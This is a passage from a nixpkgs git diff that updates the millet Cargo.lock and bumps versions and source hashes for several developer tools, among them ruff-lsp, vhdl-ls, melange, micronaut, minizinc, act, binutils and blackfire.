"b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" dependencies = [ "aho-corasick", "memchr", @@ -816,9 +794,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.3" +version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" dependencies = [ "aho-corasick", "memchr", @@ -833,12 +811,12 @@ checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" [[package]] name = "rowan" -version = "0.15.13" +version = "0.15.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "906057e449592587bf6724f00155bf82a6752c868d78a8fb3aa41f4e6357cfe8" +checksum = "32a58fa8a7ccff2aec4f39cc45bf5f985cec7125ab271cf681c279fd00192b49" dependencies = [ "countme", - "hashbrown 0.12.3", + "hashbrown", "memoffset", "rustc-hash", "text-size", @@ -858,37 +836,37 @@ checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" [[package]] name = "rustix" -version = "0.38.25" +version = "0.38.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc99bc2d4f1fed22595588a013687477aedf3cdcfb26558c559edb67b4d9b22e" +checksum = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "errno", "libc", "linux-raw-sys", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] name = "ryu" -version = "1.0.15" +version = "1.0.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" [[package]] name = "serde" -version = "1.0.193" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89" +checksum = "870026e60fa08c69f064aa766c10f10b1d62db9ccd4d0abb206472bee0ce3b32" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.193" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" +checksum = "33c85360c95e7d137454dc81d9a4ed2b8efd8fbe19cee57357b32b9771fccb67" dependencies = [ "proc-macro2", "quote", @@ -897,9 +875,9 @@ dependencies = [ [[package]] name = "serde_json" -version = "1.0.108" +version = "1.0.113" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" +checksum = "69801b70b1c3dac963ecb03a364ba0ceda9cf60c71cfe475e99864759c8b8a79" dependencies = [ "itoa", "ryu", @@ -908,9 +886,9 @@ dependencies = [ [[package]] name = "serde_repr" -version = "0.1.17" +version = "0.1.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3081f5ffbb02284dda55132aa26daecedd7372a42417bbbab6f14ab7d6bb9145" +checksum = "0b2e6b945e9d3df726b65d6ee24060aff8e3533d431f677a9695db04eff9dfdb" dependencies = [ "proc-macro2", "quote", @@ -919,16 +897,16 @@ dependencies = [ [[package]] name = "serde_spanned" -version = "0.6.4" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12022b835073e5b11e90a14f86838ceb1c8fb0325b72416845c487ac0fa95e80" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" dependencies = [ "serde", ] [[package]] name = "slash-var-path" -version = "0.14.2" +version = "0.14.3" dependencies = [ "fast-hash", "str-util", @@ -936,14 +914,14 @@ dependencies = [ [[package]] name = "sml-comment" -version = "0.14.2" +version = "0.14.3" dependencies = [ "sml-syntax", ] [[package]] name = "sml-dynamics" -version = "0.14.2" +version = "0.14.3" dependencies = [ "fast-hash", "fmt-util", @@ -954,7 +932,7 @@ dependencies = [ [[package]] name = "sml-dynamics-tests" -version = "0.14.2" +version = "0.14.3" dependencies = [ "config", "pretty_assertions", @@ -971,11 +949,11 @@ dependencies = [ [[package]] name = "sml-file" -version = "0.14.2" +version = "0.14.3" [[package]] name = "sml-file-syntax" -version = "0.14.2" +version = "0.14.3" dependencies = [ "config", "elapsed", @@ -990,7 +968,7 @@ dependencies = [ [[package]] name = "sml-fixity" -version = "0.14.2" +version = "0.14.3" dependencies = [ "fast-hash", "once_cell", @@ -999,7 +977,7 @@ dependencies = [ [[package]] name = "sml-hir" -version = "0.14.2" +version = "0.14.3" dependencies = [ "la-arena", "sml-lab", @@ -1010,7 +988,7 @@ dependencies = [ [[package]] name = "sml-hir-lower" -version = "0.14.2" +version = "0.14.3" dependencies = [ "config", "cov-mark", @@ -1027,14 +1005,14 @@ dependencies = [ [[package]] name = "sml-lab" -version = "0.14.2" +version = "0.14.3" dependencies = [ "str-util", ] [[package]] name = "sml-lex" -version = "0.14.2" +version = "0.14.3" dependencies = [ "cov-mark", "diagnostic", @@ -1051,7 +1029,7 @@ source = "git+https://github.com/azdavis/sml-libs.git#0d94e3ce13f2a489dff86151f7 [[package]] name = "sml-naive-fmt" -version = "0.14.2" +version = "0.14.3" dependencies = [ "fast-hash", "sml-comment", @@ -1061,11 +1039,11 @@ dependencies = [ [[package]] name = "sml-namespace" -version = "0.14.2" +version = "0.14.3" [[package]] name = "sml-parse" -version = "0.14.2" +version = "0.14.3" dependencies = [ "diagnostic", "event-parse", @@ -1079,14 +1057,14 @@ dependencies = [ [[package]] name = "sml-path" -version = "0.14.2" +version = "0.14.3" dependencies = [ "str-util", ] [[package]] name = "sml-scon" -version = "0.14.2" +version = "0.14.3" dependencies = [ "num-bigint", "num-traits", @@ -1095,7 +1073,7 @@ dependencies = [ [[package]] name = "sml-statics" -version = "0.14.2" +version = "0.14.3" dependencies = [ "chain-map", "config", @@ -1118,7 +1096,7 @@ dependencies = [ [[package]] name = "sml-statics-types" -version = "0.14.2" +version = "0.14.3" dependencies = [ "chain-map", "code-h2-md-map", @@ -1137,7 +1115,7 @@ dependencies = [ [[package]] name = "sml-symbol-kind" -version = "0.14.2" +version = "0.14.3" dependencies = [ "sml-namespace", "sml-statics-types", @@ -1145,7 +1123,7 @@ dependencies = [ [[package]] name = "sml-syntax" -version = "0.14.2" +version = "0.14.3" dependencies = [ "code-h2-md-map", "fast-hash", @@ -1156,7 +1134,7 @@ dependencies = [ [[package]] name = "sml-ty-var-scope" -version = "0.14.2" +version = "0.14.3" dependencies = [ "fast-hash", "sml-hir", @@ -1164,9 +1142,9 @@ dependencies = [ [[package]] name = "smol_str" -version = "0.2.0" +version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "74212e6bbe9a4352329b2f68ba3130c15a3f26fe88ff22dbdc6cdd58fa85e99c" +checksum = "e6845563ada680337a52d43bb0b29f396f2d911616f6573012645b9e3d048a49" dependencies = [ "serde", ] @@ -1174,16 +1152,16 @@ dependencies = [ [[package]] name = "str-util" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" dependencies = [ "smol_str", ] [[package]] name = "syn" -version = "2.0.39" +version = "2.0.48" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23e78b90f2fcf45d3e842032ce32e3f2d1545ba6636271dcbf24fa306d87be7a" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" dependencies = [ "proc-macro2", "quote", @@ -1193,43 +1171,41 @@ dependencies = [ [[package]] name = "syntax-gen" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" dependencies = [ "char-name", "fast-hash", "identifier-case", - "prettyplease", "proc-macro2", "quote", - "syn", "ungrammar", + "write-rs-tokens", ] [[package]] name = "tempfile" -version = "3.8.1" +version = "3.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ef1adac450ad7f4b3c28589471ade84f25f731a7a0fe30d71dfa9f60fd808e5" +checksum = "a365e8cd18e44762ef95d87f284f4b5cd04107fec2ff3052bd6a3e6069669e67" dependencies = [ "cfg-if", "fastrand", - "redox_syscall", "rustix", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] name = "termcolor" -version = "1.4.0" +version = "1.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff1bc3d3f05aff0403e8ac0d92ced918ec05b666a43f83297ccef5bea8a3d449" +checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755" dependencies = [ "winapi-util", ] [[package]] name = "tests" -version = "0.14.2" +version = "0.14.3" dependencies = [ "analysis", "cm-syntax", @@ -1244,19 +1220,22 @@ dependencies = [ "once_cell", "paths", "pretty_assertions", + "proc-macro2", "pulldown-cmark", + "quote", "serde_json", "slash-var-path", "sml-file", "sml-syntax", "str-util", "text-pos", + "write-rs-tokens", ] [[package]] name = "text-pos" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" dependencies = [ "line-index", "text-size-util", @@ -1271,7 +1250,7 @@ checksum = "f18aa187839b2bdb1ad2fa35ead8c4c2976b64e4363c386d45ac0f7ee85c9233" [[package]] name = "text-size-util" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" dependencies = [ "text-size", ] @@ -1294,13 +1273,13 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "token" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" [[package]] name = "toml" -version = "0.7.8" +version = "0.8.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257" +checksum = "9a9aad4a3066010876e8dcf5a8a06e70a558751117a145c6ce2b82c2e2054290" dependencies = [ "serde", "serde_spanned", @@ -1319,9 +1298,9 @@ dependencies = [ [[package]] name = "toml_edit" -version = "0.19.15" +version = "0.22.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" +checksum = "0c9ffdf896f8daaabf9b66ba8e77ea1ed5ed0f72821b398aba62352e95062951" dependencies = [ "indexmap", "serde", @@ -1333,7 +1312,7 @@ dependencies = [ [[package]] name = "topo-sort" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" [[package]] name = "ungrammar" @@ -1352,9 +1331,9 @@ dependencies = [ [[package]] name = "unicode-bidi" -version = "0.3.13" +version = "0.3.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" +checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75" [[package]] name = "unicode-ident" @@ -1380,7 +1359,7 @@ checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" [[package]] name = "uniq" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" [[package]] name = "url" @@ -1433,59 +1412,11 @@ checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" [[package]] name = "windows-sys" -version = "0.45.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" -dependencies = [ - "windows-targets 0.42.2", -] - -[[package]] -name = "windows-sys" -version = "0.48.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" -dependencies = [ - "windows-targets 0.48.5", -] - -[[package]] -name = "windows-sys" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" dependencies = [ - "windows-targets 0.52.0", -] - -[[package]] -name = "windows-targets" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" -dependencies = [ - "windows_aarch64_gnullvm 0.42.2", - "windows_aarch64_msvc 0.42.2", - "windows_i686_gnu 0.42.2", - "windows_i686_msvc 0.42.2", - "windows_x86_64_gnu 0.42.2", - "windows_x86_64_gnullvm 0.42.2", - "windows_x86_64_msvc 0.42.2", -] - -[[package]] -name = "windows-targets" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" -dependencies = [ - "windows_aarch64_gnullvm 0.48.5", - "windows_aarch64_msvc 0.48.5", - "windows_i686_gnu 0.48.5", - "windows_i686_msvc 0.48.5", - "windows_x86_64_gnu 0.48.5", - "windows_x86_64_gnullvm 0.48.5", - "windows_x86_64_msvc 0.48.5", + "windows-targets", ] [[package]] @@ -1494,153 +1425,79 @@ version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" dependencies = [ - "windows_aarch64_gnullvm 0.52.0", - "windows_aarch64_msvc 0.52.0", - "windows_i686_gnu 0.52.0", - "windows_i686_msvc 0.52.0", - "windows_x86_64_gnu 0.52.0", - "windows_x86_64_gnullvm 0.52.0", - "windows_x86_64_msvc 0.52.0", + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", ] [[package]] name = "windows_aarch64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" - -[[package]] -name = "windows_aarch64_gnullvm" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" - -[[package]] -name = "windows_aarch64_gnullvm" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" [[package]] name = "windows_aarch64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" - -[[package]] -name = "windows_aarch64_msvc" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" - -[[package]] -name = "windows_aarch64_msvc" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" [[package]] name = "windows_i686_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" - -[[package]] -name = "windows_i686_gnu" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" - -[[package]] -name = "windows_i686_gnu" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" [[package]] name = "windows_i686_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" - -[[package]] -name = "windows_i686_msvc" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" - -[[package]] -name = "windows_i686_msvc" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" [[package]] name = "windows_x86_64_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" - -[[package]] -name = "windows_x86_64_gnu" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" - -[[package]] -name = "windows_x86_64_gnu" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" [[package]] name = "windows_x86_64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" - -[[package]] -name = "windows_x86_64_gnullvm" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" - -[[package]] -name = "windows_x86_64_gnullvm" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" [[package]] name = "windows_x86_64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" - -[[package]] -name = "windows_x86_64_msvc" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" - -[[package]] -name = "windows_x86_64_msvc" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" [[package]] name = "winnow" -version = "0.5.19" +version = "0.5.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "829846f3e3db426d4cee4510841b71a8e58aa2a76b1132579487ae430ccd9c7b" +checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876" dependencies = [ "memchr", ] [[package]] +name = "write-rs-tokens" +version = "0.1.0" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" +dependencies = [ + "prettyplease", + "proc-macro2", + "syn", +] + +[[package]] name = "xtask" -version = "0.14.2" +version = "0.14.3" dependencies = [ "anyhow", "flate2", diff --git a/pkgs/development/tools/language-servers/millet/default.nix b/pkgs/development/tools/language-servers/millet/default.nix index 42f932c04ef97..e51ab8498c601 100644 --- a/pkgs/development/tools/language-servers/millet/default.nix +++ b/pkgs/development/tools/language-servers/millet/default.nix @@ -2,19 +2,19 @@ rustPlatform.buildRustPackage rec { pname = "millet"; - version = "0.14.2"; + version = "0.14.3"; src = fetchFromGitHub { owner = "azdavis"; repo = pname; rev = "v${version}"; - hash = "sha256-UtdkflM9ftmSVQI4CF0PAlLlbQ9l0EHF5SzJL4sU08Q="; + hash = "sha256-V1FToLhBzeZd3ve+eKAHniHN6oveEg0FBHnkSZPxBqo="; }; cargoLock = { lockFile = ./Cargo.lock; outputHashes = { - "char-name-0.1.0" = "sha256-zi5XI0exL0D0RMN5FlNqdXl5DDFEnvWOBZvgeUTMKKc="; + "chain-map-0.1.0" = "sha256-nds+lPGCbxw3GqrgfmTbKnPkiV3F6f5A2xr82qV33iI="; "sml-libs-0.1.0" = "sha256-zQrhH24XlA9SeQ+sVzaVwJwrm80TRIjFq99Vay7QEN8="; }; }; diff --git a/pkgs/development/tools/language-servers/ruff-lsp/default.nix b/pkgs/development/tools/language-servers/ruff-lsp/default.nix index e446df7f70e25..4cfcb4c6e0648 100644 --- a/pkgs/development/tools/language-servers/ruff-lsp/default.nix +++ b/pkgs/development/tools/language-servers/ruff-lsp/default.nix @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "ruff-lsp"; - version = "0.0.52"; + version = "0.0.53"; pyproject = true; disabled = pythonOlder "3.7"; @@ -24,7 +24,7 @@ buildPythonPackage rec { owner = "astral-sh"; repo = "ruff-lsp"; rev = "refs/tags/v${version}"; - hash = "sha256-T18c0vKy/RUWiDjX2oScVxgVIhlj7t3M/+IoKsQ0N4w="; + hash = "sha256-gtMqIsgGCzSBo5D4+Ne8tUloDV9+MufYkN96yr7XVd4="; }; postPatch = '' diff --git a/pkgs/development/tools/language-servers/vhdl-ls/default.nix b/pkgs/development/tools/language-servers/vhdl-ls/default.nix index 1ca6f8930709e..0090fc1523ffa 100644 --- a/pkgs/development/tools/language-servers/vhdl-ls/default.nix +++ b/pkgs/development/tools/language-servers/vhdl-ls/default.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "vhdl-ls"; - version = "0.77.0"; + version = "0.78.1"; src = fetchFromGitHub { owner = "VHDL-LS"; repo = "rust_hdl"; rev = "v${version}"; - hash = "sha256-IAe4m/GC6ubCcZZESC6fToWVQT73XrhjJOiGCGzNxnQ="; + hash = "sha256-LY9lFZe8MFuDwtNbi9D4JiYY+xKb5bGBHGnH951oRiQ="; }; - cargoHash = "sha256-p7BL8WuQiB1KihwAl5aeO6Fa9INYRTQgoQPHcSMnaiQ="; + cargoHash = "sha256-LcMAau6fJimcyf4Iru5AvrjsSV3nfLPvNqXtyzVHWgc="; postPatch = '' substituteInPlace vhdl_lang/src/config.rs \ diff --git a/pkgs/development/tools/melange/default.nix b/pkgs/development/tools/melange/default.nix index 0ee59814bf417..1f726919bb98f 100644 --- a/pkgs/development/tools/melange/default.nix +++ b/pkgs/development/tools/melange/default.nix @@ -6,13 +6,13 @@ buildGoModule rec { pname = "melange"; - version = "0.5.6"; + version = "0.6.5"; src = fetchFromGitHub { owner = "chainguard-dev"; repo = pname; rev = "v${version}"; - hash = "sha256-/oQDtUL3gjm4BsUbx7p3AmM7hcrd8Ui5Dih0DFAl5rs="; + hash = "sha256-Itb1FMdn/k5HBeJ4RGjsH0f5VVL8xeNiGo9tjkeec3Q="; # populate values that require us to use git. By doing this in postFetch we # can delete .git afterwards and maintain better reproducibility of the src. leaveDotGit = true; @@ -25,7 +25,7 @@ buildGoModule rec { ''; }; - vendorHash = "sha256-qQm/a7pE7mwqvYFFUceqElV+Qg1G39/z048wxYrV7E4="; + vendorHash = "sha256-qI7BAd0H5k6AjVZIjm5gd6+TF4YUXufskKinfj8y+So="; subPackages = [ "." ]; diff --git a/pkgs/development/tools/micronaut/default.nix b/pkgs/development/tools/micronaut/default.nix index 8c0ed2e4bfd57..83b3be70a0be7 100644 --- a/pkgs/development/tools/micronaut/default.nix +++ b/pkgs/development/tools/micronaut/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "micronaut"; - version = "4.2.4"; + version = "4.3.4"; src = fetchzip { url = "https://github.com/micronaut-projects/micronaut-starter/releases/download/v${version}/micronaut-cli-${version}.zip"; - sha256 = "sha256-Jhy1q+6VdLPScq882QU8dIUNNKs1i+3Mug5ycUWFp9U="; + sha256 = "sha256-bvxVxmy2mPf9BDjoy3YvWk6LGUFoHZFAVKf3eFNHe1Y="; }; nativeBuildInputs = [ makeWrapper installShellFiles ]; diff --git a/pkgs/development/tools/minizinc/default.nix b/pkgs/development/tools/minizinc/default.nix index 5846642d84efc..9859cf2c948d0 100644 --- a/pkgs/development/tools/minizinc/default.nix +++ b/pkgs/development/tools/minizinc/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "minizinc"; - version = "2.8.2"; + version = "2.8.3"; src = fetchFromGitHub { owner = "MiniZinc"; repo = "libminizinc"; rev = finalAttrs.version; - sha256 = "sha256-p714jUegeaN7o9Ytjpx/9zkcodbyVcSKiJe3VQ0mIys="; + sha256 = "sha256-/1rMrmwx8oYuiIoaS7YjDOey4jBCTJgzrPv6U0Vid8A="; }; nativeBuildInputs = [ bison cmake flex jq ]; diff --git a/pkgs/development/tools/misc/act/default.nix b/pkgs/development/tools/misc/act/default.nix index c620ca1649f00..23b9c24fe95cc 100644 --- a/pkgs/development/tools/misc/act/default.nix +++ b/pkgs/development/tools/misc/act/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "act"; - version = "0.2.59"; + version = "0.2.60"; src = fetchFromGitHub { owner = "nektos"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-Y8g+eVZ0c0YPVL8E/JAqD6EheQX6sBHpw1tT88BkbtI="; + hash = "sha256-FFSnxxqKAFYPuX4NJahiBS65Goj6se2U5WdPiKpNXDo="; }; - vendorHash = "sha256-0Sjj9+YJcIkigvJOXxtDVcUylZmVY/Xv/IYpEBN46Is="; + vendorHash = "sha256-FLomnHVhpvbM+O3OGwjXfrtTVbegnzry8Sl+4a3uw08="; doCheck = false; diff --git a/pkgs/development/tools/misc/binutils/2.38/default.nix b/pkgs/development/tools/misc/binutils/2.38/default.nix index fd9a3277532e9..474a565f351f9 100644 --- a/pkgs/development/tools/misc/binutils/2.38/default.nix +++ b/pkgs/development/tools/misc/binutils/2.38/default.nix @@ -91,7 +91,7 @@ stdenv.mkDerivation { # this patch is from debian: # https://sources.debian.org/data/main/b/binutils/2.38-3/debian/patches/mips64-default-n64.diff (if stdenv.targetPlatform.isMusl - then substitute { src = ./mips64-default-n64.patch; replacements = [ "--replace" "gnuabi64" "muslabi64" ]; } + then substitute { src = ./mips64-default-n64.patch; substitutions = [ "--replace" "gnuabi64" "muslabi64" ]; } else ./mips64-default-n64.patch) # On PowerPC, when generating assembly code, GCC generates a `.machine` # custom instruction which instructs the assembler to generate code for this diff --git a/pkgs/development/tools/misc/binutils/default.nix b/pkgs/development/tools/misc/binutils/default.nix index 2183d45b6f0d2..3a5a07dadabbf 100644 --- a/pkgs/development/tools/misc/binutils/default.nix +++ b/pkgs/development/tools/misc/binutils/default.nix @@ -105,7 +105,7 @@ stdenv.mkDerivation (finalAttrs: { # this patch is from debian: # https://sources.debian.org/data/main/b/binutils/2.38-3/debian/patches/mips64-default-n64.diff (if stdenv.targetPlatform.isMusl - then substitute { src = ./mips64-default-n64.patch; replacements = [ "--replace" "gnuabi64" "muslabi64" ]; } + then substitute { src = ./mips64-default-n64.patch; substitutions = [ "--replace" "gnuabi64" "muslabi64" ]; } else ./mips64-default-n64.patch) # This patch fixes a bug in 2.40 on MinGW, which breaks DXVK when cross-building from Darwin. # See https://sourceware.org/bugzilla/show_bug.cgi?id=30079 diff --git a/pkgs/development/tools/misc/blackfire/default.nix b/pkgs/development/tools/misc/blackfire/default.nix index a55f0d0edea94..5561ea8667382 100644 --- a/pkgs/development/tools/misc/blackfire/default.nix +++ b/pkgs/development/tools/misc/blackfire/default.nix @@ -10,7 +10,7 @@ stdenv.mkDerivation rec { pname = "blackfire"; - version = "2.25.0"; + version = "2.26.0"; src = passthru.sources.${stdenv.hostPlatform.system} or (throw "Unsupported platform for blackfire: ${stdenv.hostPlatform.system}"); @@ -57,23 +57,23 @@ stdenv.mkDerivation rec { sources = { "x86_64-linux" = fetchurl { url = "https://packages.blackfire.io/debian/pool/any/main/b/blackfire/blackfire_${version}_amd64.deb"; - sha256 = "F3OkFTHPO6zBOYu2umAQIPW7CQ+K+J2/mmL98H2xaCg="; + sha256 = "MCEMWKKTvmenMsQ6Vxmi8rQ25kuOeUEES43tHaexAA8="; }; "i686-linux" = fetchurl { url = "https://packages.blackfire.io/debian/pool/any/main/b/blackfire/blackfire_${version}_i386.deb"; - sha256 = "/rDH9dzSlqDSqkIHzDy/8rJQ+Ow9SAPn+/oRGP37lL8="; + sha256 = "afDtzRpdvgbA/1zRbnQJsKrvSTfGLbjIgA88pAch7mA="; }; "aarch64-linux" = fetchurl { url = "https://packages.blackfire.io/debian/pool/any/main/b/blackfire/blackfire_${version}_arm64.deb"; - sha256 = "2fjRPrl9SYCS32lO4bFLam4IrigMjucVc/OVg4yrWsM="; + sha256 = "Noqle0K/H0wKwl4U8idoMT5wWY12W7p7nHMybbf3Ztc="; }; "aarch64-darwin" = fetchurl { url = "https://packages.blackfire.io/blackfire/${version}/blackfire-darwin_arm64.pkg.tar.gz"; - sha256 = "GYjKOUDLCHPkI5k4nt2NB/R8IJhLP+4VNifEhRSsnu8="; + sha256 = "5AWsUUHTpCakG3WLUq+SZDjj0lvnYllzbBojpOgUQtA="; }; "x86_64-darwin" = fetchurl 